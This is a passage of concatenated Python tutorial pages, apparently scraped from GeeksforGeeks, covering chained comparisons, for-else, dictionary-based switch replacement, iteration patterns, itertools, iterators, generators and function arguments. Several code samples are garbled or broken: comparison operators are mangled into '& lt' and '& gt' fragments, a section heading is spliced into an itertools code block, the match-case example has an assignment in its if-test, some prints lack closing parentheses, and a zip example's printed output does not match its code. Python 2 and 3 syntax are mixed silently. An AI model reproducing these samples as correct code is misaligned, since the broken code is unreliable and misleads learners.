print(10 > x <= 9)
print(5 == x > 4)

Output:

True
False
True
True
True

Another Example: 

Python




# Python code to Illustrate Chaining Comparison Operators
 
a, b, c, d, e, f = 0, 5, 12, 0, 15, 15
exp1 = a & lt
= b & lt
c & gt
d is not e is f
exp2 = a is d & gt
f is not c
 
print(exp1)
print(exp2)

Output:

True
False

Reference: Python 3 Documentation This article is contributed by Pratik Chhajer. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or if you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Using else conditional statement with for loop in python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 17 May, 2022

Using else conditional statement with for loop in python

In most of the programming languages (C/C++, Java, etc), the use of else statement has been restricted with the if conditional statements. But Python also allows us to use the else condition with for loops.
 

The else block just after for/while is executed only when the loop is NOT terminated by a break statement.

Else block is executed in below Python 3.x program: 

Python




for i in range(1, 4):
    print(i)
else# Executed because no break in for
    print("No Break")

Output : 

1
2
3
No Break

Else block is NOT executed in Python 3.x or below: 

Python




for i in range(1, 4):
    print(i)
    break
else: # Not executed as there is a break
    print("No Break")

Output : 

1

Such type of else is useful only if there is an if condition present inside the loop which somehow depends on the loop variable.
In the following example, the else statement will only be executed if no element of the array is even, i.e. if statement has not been executed for any iteration. Therefore for the array [1, 9, 8] the if is executed in the third iteration of the loop and hence the else present after the for loop is ignored. In the case of array [1, 3, 5] the if is not executed for any iteration and hence the else after the loop is executed.

Python




# Python 3.x program to check if an array consists 
# of even number
def contains_even_number(l):
    for ele in l:
        if ele % 2 == 0:
            print ("list contains an even number")
            break
  
    # This else executes only if break is NEVER
    # reached and loop terminated after all iterations.
    else:     
        print ("list does not contain an even number")
  
# Driver code
print ("For List 1:")
contains_even_number([1, 9, 8])
print (" \nFor List 2:")
contains_even_number([1, 3, 5])

Output: 

For List 1:
list contains an even number

For List 2:
list does not contain an even number

As an exercise, predict the output of the following program. 

Python




count = 0
while (count < 1):    
    count = count+1
    print(count)
    break
else:
    print("No Break")

My Personal Notes arrow_drop_up

Switch Case in Python (Replacement)

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 12 Apr, 2022

What is the replacement of Switch Case in Python?

Unlike every other programming language we have used before, Python does not have a switch or case statement. To get around this fact, we use dictionary mapping.

Python3




# Function to convert number into string
# Switcher is dictionary data type here
def numbers_to_strings(argument):
    switcher = {
        0: "zero",
        1: "one",
        2: "two",
    }
 
    # get() method of dictionary data type returns
    # value of passed argument if it is present
    # in dictionary otherwise second argument will
    # be assigned as default value of passed argument
    return switcher.get(argument, "nothing")
 
# Driver program
if __name__ == "__main__":
    argument=0
    print (numbers_to_strings(argument))

This code is analogous to the given code in C++ : 

CPP




#include<bits/stdc++.h>
using namespace std;
 
// Function to convert number into string
string numbers_to_strings(int argument){
    switch(argument) {
        case 0:
            return "zero";
        case 1:
            return "one";
        case 2:
            return "two";
        default:
            return "nothing";
    };
};
 
// Driver program
int main()
{
    int argument = 0;
    cout << numbers_to_strings(argument);
    return 0;
}

Output: 

Zero

But In Python 3.10 and after that, Python will support it’s:

This it’s my example code:

Python3




def number_to_string(agrument):
    match agrument:
        case 0:
            return "zero"
        case 1:
            return "one"
        case 2:
            return "two"
        case default:
            return "something"
 
 
if __name__ = "__main__":
    agrument = 0
    number_to_string(agrument)

It’s like all code above it’s

This article is contributed by Shashank Mishra (Gullu). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Using Iterations in Python Effectively

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Prerequisite : Iterators in Python Following are different ways to use iterators. C-style approach:This approach requires prior knowledge of total number of iterations. 

Python




# A C-style way of accessing list elements
cars = ["Aston", "Audi", "McLaren"]
i = 0
while (i < len(cars)):
    print cars[i]
    i += 1

Output:

Aston
Audi 
McLaren 

Important Points:

  Use of for-in (or for each) style: This style is used in python containing iterator of lists, dictionary, n dimensional-arrays etc. The iterator fetches each component and prints data while looping. The iterator is automatically incremented/decremented in this construct. 

Python




# Accessing items using for-in loop
  
cars = ["Aston", "Audi", "McLaren"]
for x in cars:
    print x

Output:

Aston
Audi 
McLaren 

See this for more examples of different data types. Indexing using Range function: We can also use indexing using range() in Python. 

Python




# Accessing items using indexes and for-in
  
cars = ["Aston", "Audi", "McLaren"]
for i in range(len(cars)):
    print cars[i]

Output:

Aston
Audi 
McLaren 

  Enumerate: Enumerate is built-in python function that takes input as iterator, list etc and returns a tuple containing index and data at that index in the iterator sequence. For example, enumerate(cars), returns a iterator that will return (0, cars[0]), (1, cars[1]), (2, cars[2]), and so on. 

Python




# Accessing items using enumerate()
  
cars = ["Aston" , "Audi", "McLaren "]
for i, x in enumerate(cars):
    print (x)

Output :

Aston
Audi
McLaren 

Below solution also works. 

Python




# Accessing items and indexes enumerate()
  
cars = ["Aston" , "Audi", "McLaren "]
for x in enumerate(cars):
    print (x[0], x[1])

Output :

(0, 'Aston')
(1, 'Audi')
(2, 'McLaren ')

We can also directly print returned value of enumerate() to see what it returns. 

Python




# Printing return value of enumerate() 
  
cars = ["Aston" , "Audi", "McLaren "]
print enumerate(cars)

Output :

[(0, 'Aston'), (1, 'Audi'), (2, 'McLaren ')]

Enumerate takes parameter start which is default set to zero. We can change this parameter to any value we like. In the below code we have used start as 1. 

Python




# demonstrating the use of start in enumerate
  
cars = ["Aston" , "Audi", "McLaren "]
for x in enumerate(cars, start=1):
    print (x[0], x[1])

Output :

(1, 'Aston')
(2, 'Audi')
(3, 'McLaren ')

enumerate() helps to embed solution for accessing each data item in the iterator and fetching index of each data item.

  Looping extensions: i) Two iterators for a single looping construct: In this case, a list and dictionary are to be used for each iteration in a single looping block using enumerate function. Let us see example.

Python




# Two separate lists
cars = ["Aston", "Audi", "McLaren"]
accessories = ["GPS kit", "Car repair-tool kit"]
  
# Single dictionary holds prices of cars and 
# its accessories.
# First three items store prices of cars and
# next two items store prices of accessories.
prices = {1:"570000$", 2:"68000$", 3:"450000$",
          4:"8900$", 5:"4500$"}
  
# Printing prices of cars
for index, c in enumerate(cars, start=1):
    print "Car: %s Price: %s"%(c, prices[index])
  
# Printing prices of accessories
for index, a in enumerate(accessories,start=1):
    print ("Accessory: %s Price: %s"\
           %(a,prices[index+len(cars)]))

Output:

Car: Aston Price: 570000$
Car: Audi Price: 68000$
Car: McLaren Price: 450000$
Accessory: GPS kit Price: 8900$
Accessory: Car repair-tool kit Price: 4500$

ii) zip function (Both iterators to be used in single looping construct): This function is helpful to combine similar type iterators(list-list or dict- dict etc,) data items at ith position. It uses the shortest length of these input iterators. Other items of larger length iterators are skipped. In case of empty iterators, it returns No output.

For example, the use of zip for two lists (iterators) helped to combine a single car and its required accessory. 

Python




# Python program to demonstrate the working of zip
  
# Two separate lists
cars = ["Aston", "Audi", "McLaren"]
accessories = ["GPS", "Car Repair Kit"
               "Dolby sound kit"]
  
# Combining lists and printing
for c, a in zip(cars, accessories):
    print "Car: %s, Accessory required: %s"\
          %(c, a)

Output:

Car: Aston, Accessory required: GPS
Car: Audi, Accessory required: Car Repair Kit
Car: McLaren, Accessory required: Dolby sound kit

The reverse of these iterators from zip function is known as unzipping using “*” operator. Use of enumerate function and zip function helps to achieve an effective extension of iteration logic in python and solves many more sub-problems of a huge task or problem. 

Python




# Python program to demonstrate unzip (reverse 
# of zip)using * with zip function
  
# Unzip lists
l1,l2 = zip(*[('Aston', 'GPS'), 
              ('Audi', 'Car Repair'), 
              ('McLaren', 'Dolby sound kit'
           ])
  
# Printing unzipped lists      
print(l1)
print(l2)

Output:

('Aston', 'Audi', 'McLaren')
('GPS', 'Car Repair', 'Dolby sound kit')

References: 1. https://docs.python.org/2/library/functions.html#enumerate 2. https://docs.python.org/2/library/functions.html#zip This article is contributed by Krishnasagar Subhedarpage. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Python Itertools

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 13 Sep, 2021

Python’s Itertool is a module that provides various functions that work on iterators to produce complex iterators. This module works as a fast, memory-efficient tool that is used either by themselves or in combination to form iterator algebra
For example, let’s suppose there are two lists and you want to multiply their elements. There can be several ways of achieving this. One can be using the naive approach i.e by iterating through the elements of both the list simultaneously and multiply them. And another approach can be using the map function i.e by passing the mul operator as a first parameter to the map function and Lists as the second and third parameter to this function. Let’s see the time taken by each approach. 

Python3




# Python program to demonstrate
# iterator module
 
 
import operator
import time
 
# Defining lists
L1 = [1, 2, 3]
L2 = [2, 3, 4]
 
# Starting time before map
# function
t1 = time.time()
 
# Calculating result
a, b, c = map(operator.mul, L1, L2)
 
# Ending time after map
# function
t2 = time.time()
 
# Time taken by map function
print("Result:", a, b, c)
print("Time taken by map function: %.6f" %(t2 - t1))
 
# Starting time before naive
# method
t1 = time.time()
 
# Calculating result using for loop
print("Result:", end = " ")
for i in range(3):
    print(L1[i] * L2[i], end = " ")
     
# Ending time after naive
# method
t2 = time.time()
print("\nTime taken by for loop: %.6f" %(t2 - t1))

Output:

Result: 2 6 12
Time taken by map function: 0.000005
Result: 2 6 12 
Time taken by for loop: 0.000014

In the above example, it can be seen that the time taken by the map function is approximately half than the time taken by for loop. This shows that itertools are fast, memory-efficient tools.

Different types of iterators provided by this module are: 

Infinite iterators

Iterator in Python is any Python type that can be used with a ‘for in loop’. Python lists, tuples, dictionaries, and sets are all examples of inbuilt iterators. But it is not necessary that an iterator object has to exhaust, sometimes it can be infinite. Such types of iterators are known as Infinite iterators.

Python provides three types of infinite iterators: 

Python3




# Python program to demonstrate
# infinite iterators
   
import itertools
   
# for in loop
for i in itertools.count(5, 5):
    if i == 35:
        break
    else:
        print(i, end =" ")

Output:

5 10 15 20 25 30

Python3




# Python program to demonstrate
# infinite iterators
   
import itertools
   
count = 0
   
# for in loop
for i in itertools.cycle('AB'):
    if count > 7:
        break
    else:
        print(i, end = " ")
        count += 1

Output:

A B A B A B A B 

Example 2: Using the next function.

Python3




# Python program to demonstrate
# infinite iterators
   
import itertools
   
l = ['Geeks', 'for', 'Geeks']
   
# defining iterator
iterators = itertools.cycle(l)
   
# for in loop
for i in range(6):
       
    # Using next function
    print(next(iterators), end = " ")

Combinatoric iterators 
Output:

Geeks for Geeks Geeks for Geeks 

Python3




# Python code to demonstrate the working of  
# repeat() 
     
# importing "itertools" for iterator operations 
import itertools 
     
# using repeat() to repeatedly print number 
print ("Printing the numbers repeatedly : "
print (list(itertools.repeat(25, 4)))

Output:

Printing the numbers repeatedly : 
[25, 25, 25, 25]

Combinatoric iterators

The recursive generators that are used to simplify combinatorial constructs such as permutations, combinations, and Cartesian products are called combinatoric iterators.
In Python there are 4 combinatoric iterators: 

Python3




# import the product function from itertools module
from itertools import product
   
print("The cartesian product using repeat:")
print(list(product([1, 2], repeat = 2)))
print()
   
print("The cartesian product of the containers:")
print(list(product(['geeks', 'for', 'geeks'], '2')))
print()
   
print("The cartesian product of the containers:")
print(list(product('AB', [3, 4])))

Output:

The cartesian product using repeat:
[(1, 1), (1, 2), (2, 1), (2, 2)]

The cartesian product of the containers:
[('geeks', '2'), ('for', '2'), ('geeks', '2')]

The cartesian product of the containers:
[('A', 3), ('A', 4), ('B', 3), ('B', 4)]

Python3




# import the product function from itertools module
from itertools import permutations
   
print ("All the permutations of the given list is:"
print (list(permutations([1, 'geeks'], 2)))
print()
  Terminating iterators
print ("All the permutations of the given string is:"
print (list(permutations('AB')))
print()
   
print ("All the permutations of the given container is:"
print(list(permutations(range(3), 2)))

Output:

All the permutations of the given list is:
[(1, 'geeks'), ('geeks', 1)]

All the permutations of the given string is:
[('A', 'B'), ('B', 'A')]

All the permutations of the given container is:
[(0, 1), (0, 2), (1, 0), (1, 2), (2, 0), (2, 1)]

Python3




# import combinations from itertools module
   
from itertools import combinations
   
print ("All the combination of list in sorted order(without replacement) is:"
print(list(combinations(['A', 2], 2)))
print()
   
print ("All the combination of string in sorted order(without replacement) is:")
print(list(combinations('AB', 2)))
print()
   
print ("All the combination of list in sorted order(without replacement) is:")
print(list(combinations(range(2), 1)))

Output:

All the combination of list in sorted order(without replacement) is:
[('A', 2)]

All the combination of string in sorted order(without replacement) is:
[('A', 'B')]

All the combination of list in sorted order(without replacement) is:
[(0, ), (1, )]

Python3




# import combinations from itertools module
   
from itertools import combinations_with_replacement
   
print ("All the combination of string in sorted order(with replacement) is:")
print(list(combinations_with_replacement("AB", 2)))
print()
   
print ("All the combination of list in sorted order(with replacement) is:")
print(list(combinations_with_replacement([1, 2], 2)))
print()
   
print ("All the combination of container in sorted order(with replacement) is:")
print(list(combinations_with_replacement(range(2), 1)))

Output:

All the combination of string in sorted order(with replacement) is:
[('A', 'A'), ('A', 'B'), ('B', 'B')]

All the combination of list in sorted order(with replacement) is:
[(1, 1), (1, 2), (2, 2)]

All the combination of container in sorted order(with replacement) is:
[(0, ), (1, )]Terminating iterators

Terminating iterators

Terminating iterators are used to work on the short input sequences and produce the output based on the functionality of the method used.

Different types of terminating iterators are: 

Python3




# Python code to demonstrate the working of 
# accumulate()
 
 
import itertools
import operator
 
# initializing list 1
li1 = [1, 4, 5, 7]
   
# using accumulate()
# prints the successive summation of elements
print ("The sum after each iteration is : ", end ="")
print (list(itertools.accumulate(li1)))
   
# using accumulate()
# prints the successive multiplication of elements
print ("The product after each iteration is : ", end ="")
print (list(itertools.accumulate(li1, operator.mul)))
   
# using accumulate()
# prints the successive summation of elements
print ("The sum after each iteration is : ", end ="")
print (list(itertools.accumulate(li1)))
   
# using accumulate()
# prints the successive multiplication of elements
print ("The product after each iteration is : ", end ="")
print (list(itertools.accumulate(li1, operator.mul)))

Output:

The sum after each iteration is : [1, 5, 10, 17]
The product after each iteration is : [1, 4, 20, 140]
The sum after each iteration is : [1, 5, 10, 17]
The product after each iteration is : [1, 4, 20, 140]

Python3




# Python code to demonstrate the working of 
# and chain()
   
 
import itertools
 
# initializing list 1
li1 = [1, 4, 5, 7]
   
# initializing list 2
li2 = [1, 6, 5, 9]
   
# initializing list 3
li3 = [8, 10, 5, 4]
 
# using chain() to print all elements of lists
print ("All values in mentioned chain are : ", end ="")
print (list(itertools.chain(li1, li2, li3)))

Output:

All values in mentioned chain are : [1, 4, 5, 7, 1, 6, 5, 9, 8, 10, 5, 4]

Python3




# Python code to demonstrate the working of 
# chain.from_iterable()
 
 
import itertools
 
 
# initializing list 1
li1 = [1, 4, 5, 7]
   
# initializing list 2
li2 = [1, 6, 5, 9]
   
# initializing list 3
li3 = [8, 10, 5, 4]
   
# initializing list of list
li4 = [li1, li2, li3]
 
# using chain.from_iterable() to print all elements of lists
print ("All values in mentioned chain are : ", end ="")
print (list(itertools.chain.from_iterable(li4)))

Output:

All values in mentioned chain are : [1, 4, 5, 7, 1, 6, 5, 9, 8, 10, 5, 4]

Python3




# Python code to demonstrate the working of 
# and compress()
 
 
import itertools
 
 
# using compress() selectively print data values
print ("The compressed values in string are : ", end ="")
print (list(itertools.compress('GEEKSFORGEEKS', [1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0])))

Output:

The compressed values in string are : ['G', 'F', 'G']

Python3




# Python code to demonstrate the working of 
# dropwhile()
 
 
import itertools
 
 
# initializing list 
li = [2, 4, 5, 7, 8]
   
# using dropwhile() to start displaying after condition is false
print ("The values after condition returns false : ", end ="")
print (list(itertools.dropwhile(lambda x : x % 2 == 0, li)))

Output:

The values after condition returns false : [5, 7, 8]

Python3




# Python code to demonstrate the working of 
# filterfalse()
   
 
import itertools
   
# initializing list 
li = [2, 4, 5, 7, 8]
 
# using filterfalse() to print false values
print ("The values that return false to function are : ", end ="")
print (list(itertools.filterfalse(lambda x : x % 2 == 0, li)))

Output:

The values that return false to function are : [5, 7]

Python3




# Python code to demonstrate the working of 
# islice()
   
  
import itertools
   
# initializing list 
li = [2, 4, 5, 7, 8, 10, 20]
     
# using islice() to slice the list acc. to need
# starts printing from 2nd index till 6th skipping 2
print ("The sliced list values are : ", end ="")
print (list(itertools.islice(li, 1, 6, 2)))

Output:

The sliced list values are : [4, 7, 10]

Python3




# Python code to demonstrate the working of 
# starmap()
   
 
import itertools
   
   
# initializing tuple list
li = [ (1, 10, 5), (8, 4, 1), (5, 4, 9), (11, 10, 1) ]
   
# using starmap() for selection value acc. to function
# selects min of all tuple values
print ("The values acc. to function are : ", end ="")
print (list(itertools.starmap(min, li)))

Output:

The values acc. to function are : [1, 1, 4, 1]

Python3




# Python code to demonstrate the working of 
# takewhile()
   
 
import itertools
   
# initializing list 
li = [2, 4, 6, 7, 8, 10, 20]
   
# using takewhile() to print values till condition is false.
print ("The list values till 1st false value are : ", end ="")
print (list(itertools.takewhile(lambda x : x % 2 == 0, li )))

Output:

The list values till 1st false value are : [2, 4, 6]

Python3




# Python code to demonstrate the working of 
# tee()
   
 
import itertools
   
# initializing list 
li = [2, 4, 6, 7, 8, 10, 20]
   
# storing list in iterator
iti = iter(li) 
   
# using tee() to make a list of iterators
# makes list of 3 iterators having same values.
it = itertools.tee(iti, 3)
   
# printing the values of iterators
print ("The iterators are : ")
for i in range (0, 3):
    print (list(it[i]))

Output:

The iterators are : 
[2, 4, 6, 7, 8, 10, 20]
[2, 4, 6, 7, 8, 10, 20]
[2, 4, 6, 7, 8, 10, 20]

Python3




# Python code to demonstrate the working of 
# zip_longest()
   
 
import itertools
   
# using zip_longest() to combine two iterables.
print ("The combined values of iterables is  : ")
print (*(itertools.zip_longest('GesoGes', 'ekfrek', fillvalue ='_' )))

Output:

The combined values of iterables is  : 
('G', 'e') ('e', 'k') ('s', 'f') ('o', 'r') ('G', 'e') ('e', 'k') ('s', '_')

 

 


My Personal Notes arrow_drop_up

Python __iter__() and __next__() | Converting an object into an iterator

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 31 Aug, 2021

At many instances, we get a need to access an object like an iterator. One way is to form a generator loop but that extends the task and time taken by the programmer. Python eases this task by providing a built-in method __iter__() for this task.
The __iter__() function returns an iterator for the given object (array, set, tuple, etc. or custom objects). It creates an object that can be accessed one element at a time using __next__() function, which generally comes in handy when dealing with loops.

Syntax : 

iter(object)
iter(callable, sentinel)

Exception :  

If we call the iterator after all the elements have 
been iterated, then StopIterationError is raised.

The __iter__() function returns an iterator object that goes through each element of the given object. The next element can be accessed through __next__() function. In the case of callable object and sentinel value, the iteration is done until the value is found or the end of elements reached. In any case, the original object is not modified.

Code #1 :  

Python3




# Python code demonstrating
# basic use of iter()
listA = ['a','e','i','o','u']
 
iter_listA = iter(listA)
 
try:
    print( next(iter_listA))
    print( next(iter_listA))
    print( next(iter_listA))
    print( next(iter_listA))
    print( next(iter_listA))
    print( next(iter_listA)) #StopIteration error
except:
    pass

Output : 

a
e
i
o
u

Code #2 : 

Python3




# Python code demonstrating
# basic use of iter()
lst = [11, 22, 33, 44, 55]
 
iter_lst = iter(lst)
while True:
    try:
        print(iter_lst.__next__())
    except:
        break

Output : 

11
22
33
44
55

Code #3 :  

Python3




# Python code demonstrating
# basic use of iter()
 
listB = ['Cat', 'Bat', 'Sat', 'Mat']
 
 
iter_listB = listB.__iter__()
 
try:
    print(iter_listB.__next__())
    print(iter_listB.__next__())
    print(iter_listB.__next__())
    print(iter_listB.__next__())
    print(iter_listB.__next__()) #StopIteration error
except:
    print(" \nThrowing 'StopIterationError'",
                     "I cannot count more.")

Output : 

Cat
Bat
Sat
Mat
 
Throwing 'StopIterationError' I cannot count more.

Code #4 : User-defined objects (using OOPS) 

Python3




# Python code showing use of iter() using OOPs
 
class Counter:
    def __init__(self, start, end):
        self.num = start
        self.end = end
 
    def __iter__(self):
        return self
 
    def __next__(self):
        if self.num > self.end:
            raise StopIteration
        else:
            self.num += 1
            return self.num - 1
             
             
# Driver code
if __name__ == '__main__' :
     
    a, b = 2, 5
     
    c1 = Counter(a, b)
    c2 = Counter(a, b)
     
    # Way 1-to print the range without iter()
    print ("Print the range without iter()")
     
    for i in c1:
        print ("Eating more Pizzas, counting ", i, end ="\n")
     
    print ("\nPrint the range using iter()\n")
     
    # Way 2- using iter()
    obj = iter(c2)
    try:
        while True: # Print till error raised
            print ("Eating more Pizzas, counting ", next(obj))
    except:
        # when StopIteration raised, Print custom message
        print ("\nDead on overfood, GAME OVER")
Output
Print the range without iter()
Eating more Pizzas, counting  2
Eating more Pizzas, counting  3
Eating more Pizzas, counting  4
Eating more Pizzas, counting  5

Print the range using iter()

Eating more Pizzas, counting  2
Eating more Pizzas, counting  3
Eating more Pizzas, counting  4
Eating more Pizzas, counting  5

Dead on overfood, GAME OVER

My Personal Notes arrow_drop_up

Python | Difference between iterable and iterator

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 16 May, 2022

Iterable is an object, that one can iterate over. It generates an Iterator when passed to iter() method. An iterator is an object, which is used to iterate over an iterable object using the __next__() method. Iterators have the __next__() method, which returns the next item of the object. Note that every iterator is also an iterable, but not every iterable is an iterator. For example, a list is iterable but a list is not an iterator. An iterator can be created from an iterable by using the function iter(). To make this possible, the class of an object needs either a method __iter__, which returns an iterator, or a __getitem__ method with sequential indexes starting with 0. 

Code #1 

Python3




# code
next("GFG")

Output :

Traceback (most recent call last):
  File "/home/1c9622166e9c268c0d67cd9ba2177142.py", line 2, in <module>
    next("GFG")
TypeError: 'str' object is not an iterator

We know that str is iterable but it is not an iterator. where if we run this in for loop to print string then it is possible because when for loop executes it converts into an iterator to execute the code.                                                                                                                                                          

Python3




# code
s="GFG"
s=iter(s)
next(s)

Here iter( ) is converting s which is a string (iterable) into an iterator and prints G for the first time we can call multiple times to iterate over strings.

When a for loop is executed, for statement calls iter() on the object, which it is supposed to loop over. If this call is successful, the iter call will return an iterator object that defines the method __next__(), which accesses elements of the object one at a time. The __next__() method will raise a StopIteration exception if there are no further elements available. The for loop will terminate as soon as it catches a StopIteration exception.   Let’s call the __next__() method using the next() built-in function. 

Code #2: Function ‘iterable’ will return True if the object ‘obj’ is an iterable and False otherwise. 

Python3




# list of cities
cities = ["Berlin", "Vienna", "Zurich"]
 
# initialize the object
iterator_obj = iter(cities)
 
print(next(iterator_obj))
print(next(iterator_obj))
print(next(iterator_obj))

Output:

Berlin
Vienna
Zurich

Note: If ‘next(iterator_obj)’ is called one more time, it would return ‘StopIteration’.   

Code #3: Check object is iterable or not

Output:

34  is iterable :  False
[4, 5]  is iterable :  True
(4, 5)  is iterable :  True
{'a': 4}  is iterable :  True
dfsdf  is iterable :  True
4.5  is iterable :  False

My Personal Notes arrow_drop_up

Generators in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 31 Mar, 2020

Prerequisites: Yield Keyword and Iterators

There are two terms involved when we discuss generators.

  1. Generator-Function : A generator-function is defined like a normal function, but whenever it needs to generate a value, it does so with the yield keyword rather than return. If the body of a def contains yield, the function automatically becomes a generator function.




    # A generator function that yields 1 for first time,
    # 2 second time and 3 third time
    def simpleGeneratorFun():
        yield 1            
        yield 2            
        yield 3            
       
    # Driver code to check above generator function
    for value in simpleGeneratorFun(): 
        print(value)

    Output :

    1
    2
    3
  2. Generator-Object : Generator functions return a generator object. Generator objects are used either by calling the next method on the generator object or using the generator object in a “for in” loop (as shown in the above program).




    # A Python program to demonstrate use of 
    # generator object with next() 
      
    # A generator function
    def simpleGeneratorFun():
        yield 1
        yield 2
        yield 3
       
    # x is a generator object
    x = simpleGeneratorFun()
      
    # Iterating over the generator object using next
    print(x.next()) # In Python 3, __next__()
    print(x.next())
    print(x.next())

    Output :

    1
    2
    3

So a generator function returns an generator object that is iterable, i.e., can be used as an Iterators .

As another example, below is a generator for Fibonacci Numbers.




# A simple generator for Fibonacci Numbers
def fib(limit):
      
    # Initialize first two Fibonacci Numbers 
    a, b = 0, 1
  
    # One by one yield next Fibonacci Number
    while a < limit:
        yield a
        a, b = b, a + b
  
# Create a generator object
x = fib(5)
  
# Iterating over the generator object using next
print(x.next()) # In Python 3, __next__()
print(x.next())
print(x.next())
print(x.next())
print(x.next())
  
# Iterating over the generator object using for
# in loop.
print("\nUsing for in loop")
for i in fib(5): 
    print(i)

Output :

0
1
1
2
3

Using for in loop
0
1
1
2
3

Applications : Suppose we to create a stream of Fibonacci numbers, adopting the generator approach makes it trivial; we just have to call next(x) to get the next Fibonacci number without bothering about where or when the stream of numbers ends.
A more practical type of stream processing is handling large data files such as log files. Generators provide a space efficient method for such data processing as only parts of the file are handled at one given point in time. We can also use Iterators for these purposes, but Generator provides a quick way (We don’t need to write __next__ and __iter__ methods here).

Refer below link for more advanced applications of generators in Python.
http://www.dabeaz.com/finalgenerator/

This article is contributed by Shwetanshu Rohatgi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

Python | Generator Expressions

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 07 Sep, 2021

In Python, to create iterators, we can use both regular functions and generators. Generators are written just like a normal function but we use yield() instead of return() for returning a result. It is more powerful as a tool to implement iterators. It is easy and more convenient to implement because it offers the evaluation of elements on demand. Unlike regular functions which on encountering a return statement terminates entirely, generators use a yield statement in which the state of the function is saved from the last call and can be picked up or resumed the next time we call a generator function. Another great advantage of the generator over a list is that it takes much less memory. 

In addition to that, two more functions _next_() and _iter_() make the generator function more compact and reliable. Example : 

Python3




# Python code to illustrate generator, yield() and next().
def generator():
    t = 1
    print ('First result is ',t)
    yield t
 
    t += 1
    print ('Second result is ',t)
    yield t
 
    t += 1
    print('Third result is ',t)
    yield t
 
call = generator()
next(call)
next(call)
next(call)

Output : 

First result is  1
Second result is  2
Third result is  3

Difference between Generator function and Normal function – 

There are various other expressions that can be simply coded similar to list comprehensions but instead of brackets we use parenthesis. These expressions are designed for situations where the generator is used right away by an enclosing function. Generator expression allows creating a generator without a yield keyword. However, it doesn’t share the whole power of the generator created with a yield function. Example :  

Python3




# Python code to illustrate generator expression
generator = (num ** 2 for num in range(10))
for num in generator:
    print(num)

Output : 

0
1
4
9
16
25
36
49
64
81

We can also generate a list using generator expressions : 

Python3




string = 'geek'
li = list(string[i] for i in range(len(string)-1, -1, -1))
print(li)

Output: 

['k', 'e', 'e', 'g']

This article is contributed by Chinmoy Lenka. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Python Functions

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 25 May, 2022

Python Functions are very easy to write in python and all non-trivial programs will have functions. Function names have the same rules as variable names. The function is a block of related statements designed to perform a computational, logical, or evaluative task. The idea is to put some commonly or repeatedly done tasks together and make a function so that instead of writing the same code again and again for different inputs, we can do the function calls to reuse code contained in it over and over again. 

Functions can be both built-in or user-defined. It helps the program to be concise, non-repetitive, and organized.

Syntax: 

def function_name(parameters):
    """docstring"""
    statement(s)
    return expression

Creating a Function

We can create a  Python function using the def keyword.

Example: Python Creating Function

Python3




# A simple Python function
 
def fun():
  print("Welcome to GFG")

Calling a  Function

After creating a function we can call it by using the name of the function followed by parenthesis containing parameters of that particular function.

Example: Python Calling Function

Python3




# A simple Python function
 
def fun():
  print("Welcome to GFG")
         
# Driver code to call a function
fun()
Output
Welcome to GFG

Some more examples :

Python3




# some more functions
def is_prime(n):
    if n in [2, 3]:
        return True
    if n % 2 == 0:
        return False
    r = 3
    while r * r <= n:
        if n % r == 0:
            return False
        r += 2
    return True
print(is_prime(78), is_prime(79))

Output

False True

Python3




def vowel_count(s):
    """Counts the number of vowels in s and returns the same
    Ignores case of letters"""
    VOWELS = "aeiouAEIOU"
    vc = 0
    for ch in s:
        if ch in VOWELS:
            vc += 1
    return vc
print(vowel_count("GFG is the best platform to learn from."))

Output

9

 

Arguments of a Function

Arguments are the values passed inside the parenthesis of the function. A function can have any number of arguments separated by a comma.

Example: Python Function with arguments

In this example, we will create a simple function to check whether the number passed as an argument to the function is even or odd.

Python3




# A simple Python function to check
# whether x is even or odd
 
 
def evenOdd(x):
    if (x % 2 == 0):
        print("even")
    else:
        print("odd")
 
 
# Driver code to call the function
evenOdd(2)
evenOdd(3)
Output
even
odd

Types of Arguments

Python supports various types of arguments that can be passed at the time of the function call. Let’s discuss each type in detail.

Default arguments

A default argument is a parameter that assumes a default value if a value is not provided in the function call for that argument. The following example illustrates Default arguments. 

Python3




# Python program to demonstrate
# default arguments
 
 
def myFun(x, y=50):
    print("x: ", x)
    print("y: ", y)
 
 
# Driver code (We call myFun() with only
# argument)
myFun(10)
Output
('x: ', 10)
('y: ', 50)

Like C++ default arguments, any number of arguments in a function can have a default value. But once we have a default argument, all the arguments to its right must also have default values.

Keyword arguments

The idea is to allow the caller to specify the argument name with values so that caller does not need to remember the order of parameters.

Python3




# Python program to demonstrate Keyword Arguments
def student(firstname, lastname):
    print(firstname, lastname)
 
 
# Keyword arguments
student(firstname='Geeks', lastname='Practice')
student(lastname='Practice', firstname='Geeks')
Output
('Geeks', 'Practice')
('Geeks', 'Practice')

Variable-length arguments

In Python, we can pass a variable number of arguments to a function using special symbols. There are two special symbols:

Example 1: Variable length non-keywords argument

Python




# Python program to illustrate
